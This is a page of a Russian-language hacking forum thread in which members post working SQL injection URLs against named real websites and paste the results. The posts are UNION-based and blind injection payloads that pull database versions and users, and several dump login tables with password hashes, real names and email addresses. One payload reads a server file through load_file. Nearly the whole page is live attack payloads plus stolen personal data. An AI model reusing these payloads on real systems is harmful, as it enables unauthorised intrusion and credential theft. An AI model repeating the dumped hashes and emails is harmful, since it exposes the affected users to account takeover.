SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Code:
    http://www.bigone.ru/so/so.php?sub=-1+union+select+1,concat_ws(0x3a,login,password),3,concat_ws(char(58),version(),database(),user()),5,6,7,8,9+from+bigone_users--
    admin:***
    5.0.51a-24+lenny1-log:z53907_acad:[email protected]
     
    1 person likes this.
  2. hatamahata

    hatamahata Member

    Joined:
    10 Jun 2009
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    HTML:
    http://www.tbrandable.com/buy.php?id=45+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+LIMIT+1,1--
    Database Version: 5.0.83-community
    Database name: tbrandab_affiliate
    User name: [email protected]
     
    1 person likes this.
  3. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    Code:
    http://www.mmsah.cn/yh/yhq.php?id=1099+union+select+concat_ws(0x3,version(),user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
    5.0.51a-community-nt root@localhost discuz


    Code:
    http://www.officialrentreview.com/property.php?id=4+union+select+concat_ws(0x2,version(),user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
    5.0.81-log [email protected] db241449076
     
    1 person likes this.
  4. dedywka

    dedywka Banned

    Joined:
    17 Aug 2009
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    http://77.220.178.134/db.php?action=npcs&npcid=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49+from+information_schema.columns+where+table_namex6163636573735f616363--
     
    2 people like this.
  5. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    Code:
    http://www.psiuwesleyan.com/news.php?ID=-47'+union+select+1,2,version(),4,5,6,7/*
    Database Version: 4.1.22
    Database name: psiu
    User name: xiofpsiu@localhost
     
    4 people like this.
  6. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Code:
    http://bipek.kz/?pid=blog&last=&obid=-127%20union%20select%201,2,3,group_concat(concat_ws(0x3a3a,login,pass,user_name,email)%20separator%200x0a),5,6,7,8,9,10%20FROM%20users_table+--+
    Dm::f882b462f27b4706efed0c276ff1ad88::::[email protected] Борман::a02ce8dec8f8ad2ba4b2dce8160043c2::Бармалей::[email protected] малой::06a9277e0d77bf374281cc927d432fe2:::: Roza::202cb962ac59075b964b07152d234b70:::: vacman::968520b83979f83f0d5445f00918247f:::: Bereza::7f1de29e6da19d22b51c68001e7e0e54::Роза::[email protected] alibi::ba954023e9ee590ab082b65b81b6b93d::alibi::[email protected] alexa::a3aa53f78cacac47a7ecfcd6f935964c:::: banderos::88f1798e205c841fe851b42095329f84::banderos::[email protected] asm::caf1a3dfb505ffed0d024130f58c5cfa::Александр Мозговой::[email protected] Axel::698d51a19d8a121ce581499d7b701668::Axel Rudy::[email protected] Alex11::51036dc8b2017759c25be89e8e5f1abc::Алексей::[email protected] Meirzhan::ffe956e3950311a0e63476459fb40285::Мейржан::[email protected] Mixt::1f34004ebcb05f9acda6016d5cc52d5e::Сергей::[email protected] vlad::d3fad7d3634dbfb61018813546edbccb::влад:: leondj::0b9c5120ea86155f02d81e6f2f90c900::Leonid::[email protected] scorpion::9590d4b8da25194490efc3978b494e48::Максим:
     
    1 person likes this.
  7. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    Code:
    http://www.cnmo.com/mainpage_into_bbs.php?action=sel_pro&manuid=1+union+select+1,concat_ws(0x3,version(),user(),database())/*
    version:5.0.45-log
    user:[email protected]
    database:cnmo_zoldb
     
    3 people like this.
  8. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    The world's local bank.
    MS Access
    Может кто сможет раскрутить. Доступа к системным таблицам как всегда нету.Если подобрать таблицу то потом думаю только подзапросами...
     
    2 people like this.
  9. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    toyslandpark.com

    blind-sql

    http://toyslandpark.com/foto/indice.php?aid=6'

    Code:
    http://toyslandpark.com/foto/indice.php?aid=6+and+1=if(ascii(substring((select+concat_ws(0x3,user(),version(),database())),1,1))=83,1,0)+--+
    user: Sql_tlp@localhost
    version: 4.1.11-Debian_4sarge7-log (раритет 0_o)
    database: toysland
     
    4 people like this.
  10. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Code:
    http://www.mining.kz/index.shtml?f=show&type=1&id=-14979976727+union+select+1,2,concat_ws%280x3,version%28%29,user%28%29,database%28%29%29,4,5,6,7+--+
    version: 5.0.77-community
    user: miningk_miningka@localhost
    database: miningk_mining
     
    3 people like this.
  11. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    Code:
    http://www.taylordecordoba.com/artistgallery.php?id=-2+union+select+1,group_concat(username,0x3a,password)+from+user--
    Database Version: 5.0.67-community
    Database name: taylo3_taylordc
    User name: taylo3_sauron@localhost
     
    1 person likes this.
  12. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    Code:
    http://bkl.eoc.suny.[SIZE=3][COLOR=Lime]edu[/COLOR][/SIZE]/custom_content.php?id=-3+union+select+1,2,version(),4,5+from+mysql.user/*
    Database Version: 5.0.41-community-nt
    Database name: bklyn_web_user
    User name: BKLYN_web_user@localhost
     
    2 people like this.
  13. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.gsmtrack.nl/index.php?page=navi_merken&action=navigatie&id=-1+union+select+unhex%28hex%28concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29%29%29--
    
    Database Version: 4.1.10a - WideXS
    Database name: gsmtrack
    User name: root@localhost
    PR 4
    file_priv : Y
     
    4 people like this.
  14. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Code:
    http://quebec-canada.com.ua/show.php?tab=other&id=9999+union+select+1,2,group_concat(column_name+separator+0x0a)+from+information_schema.columns+where+table_name=0x636f7374+--+
    id rank country persent

    Code:
    http://quebec-canada.com.ua/show.php?tab=other&id=9999+union+select+1,2,table_schema+from+information_schema.tables+where+table_name=0x636f7374+--+
    teresh_canada

    Code:
    http://quebec-canada.com.ua/show.php?tab=other&id=9999+union+select+1,2,group_concat(concat_ws(0x3a3a3a,id,rank,country,persent)+separator+0x0a)+from+teresh_canada.cost+--+
    1:::1:::Токио (Япония) :::130.7 2:::2:::Лондон (Великобритания):::119 3:::3:::Москва (Россия):::117.4 4:::4:::Осака (Япония):::116.1 5:::5:::Гонк-Конг:::109.5 6:::9:::Цюрих (Швейцария):::101.6 7:::17:::Париж (Франция):::94.8 8:::21:::Рим (Италия):::90.5 9:::27:::Лос-Анджелес:::86.6 10:::43:::Мюнхен (Германия):::84 11:::49:::Прага (Чехия):::83.3 12:::84:::Мехико (Мексика):::73.3 13:::89:::Торонто (Канада):::71.8 14:::113:::Монреаль (Канада):::66.4 15:::116:::Дели (Индия):::64.7
     
  15. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Code:
    http://www.soldatru.ru/news/show_news.php?id=-281+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,4,5,6+--+
    user: [email protected]
    version: 5.0.67-log
    database: u34985


    Code:
    http://www.ertegi.ru/index.php?id=2+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29+--+
    user: ertegir_francua@localhost
    version: 5.0.84-log
    database: ertegir_ertegi





    Хех)) Сайт нефти)))

    Code:
    http://tdkmg.izhanov.ru/faq/?id=-15+union+select+1,2,3,4,5,6+--+
     
    #10475 ZARO, 28 Aug 2009
    Last edited: 28 Aug 2009
    2 people like this.
  16. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    Code:
    http://www.cide.edu/facultad_division.php?d=1+union+select+1,concat_ws(0x2,version(),user(),database()),3,4,5+limit+1,1
    5.0.32-debian_7etch10-log root@localhost webcide
     
    3 people like this.
  17. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.duikteam-poseidon.nl/agenda_detail.php?id=-1+union+select+1,1,1,unhex(hex(concat_ws(0x3a,user(),version(),database()))),3,4,5--
    root@localhost:5.0.19-nt:poseidon
    PR 2
    file_priv : Y
     
    2 people like this.
  18. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Code:
    http://www.descom.ch/main.php?id=18646644+union+select+1,2,3,4,5,group_concat(concat_ws(0x3a3a3a,name,password)+separator+0x0a),7+from+user
    Grünig:::a1c7e629be72a6091ecd1f9c37cdc369 Grünig:::348395d346e03ba2c56db7827d319b66 Fiorucci:::9a871a2a1b44ce36da856605dd3c446c Tillmann:::ab85a6f19d0180b0eed0d304594662c5 Nydegger:::b97748566824f7250f172972b2acc696 Klaus:::f270bfe89d0e0ae9a93af1daacf8a951 schweizer:::a79f8ff43b7bc32d6229e8ec2eb94a16 Zbinden:::e39e55de0291db48de53420da533db5b Pollak:::a1c88562e5670752b91227226f9b3ab4 de manuel:::be788819059b62edd8572be65a5e4bf5 Liechti:::775d9d3d815746460ca59a4c966ac538 Pollak:::233224c1e07a79f6e88e53ce09891f16 winzeler:::6bb1d01318442953179416e1f50de743 Kropf:::dd4b9f37d5d7525a83ad5906299d8ba6 Berger:::79ee34a2c60be9b7fd6bcee962e36d0b Dubuis:::a771378824a5c1c2b3d56be30012bbe7 Cueni:::5703672c4bb030a55988a42c705c3097 Kunde:::6a7dc7ef47e0d299b4b75b5b4dff3996 Dillier Gilomen:::7c9e5a874d69573ff41258231b38e3f0 :::dd82988070e6ee4f7a72deef16003877 :::2d047ace7b1647328cd3d93a960a9cc5 :::c6a64e300eae52f8fe3e2e0ad1548138 Dömötör:::cc27dae70b0bab3591ee6cdf0cc5f4a4 Grünig:::57130ee39c8a283237d5107ec14cce4d
     
    1 person likes this.
  19. ZARO

    ZARO Elder - Старейшина

    Joined:
    17 Apr 2009
    Messages:
    327
    Likes Received:
    129
    Reputations:
    54
    Code:
    http://www.dancor.sumy.ua/portal_ads.php?id=-274572+union+select+1,2,3,4,5,6,7,8,9,%28concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29%29+--+
    user: dancor@localhost
    version: 5.1.35-log
    database: dancor
     
  20. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://www.chashka.ru/news.php?id=-28+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5--
    [email protected]:5.0.67-log:u8358



    Code:
    http://bjola.com/main.php?id=-28+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6--
    u_bjola@localhost:4.1.22-log:bjola



    Code:
    http://www.2kamnya.ru/info.php3?id=-28+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13,14,15--
    [email protected]:5.0.67-log:u26377_2




    на десерт.

    Code:
    http://www.globaltrance.nl/dj_booking.php?id=-28+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
    root@localhost:4.0.16-nt-log:globalbass


    Code:
    http://www.globaltrance.nl/dj_booking.php?id=-28+union+select+1,concat_ws(0x3a,user,file_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user--
    root:Y

    Code:
    http://www.globaltrance.nl/dj_booking.php?id=-28+union+select+1,load_file(0x633a2f626f6f742e696e69),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user--
    HTML:
    C:\Inetpub\globalbass.nl\
     
    2 people like this.
Thread Status:
Not open for further replies.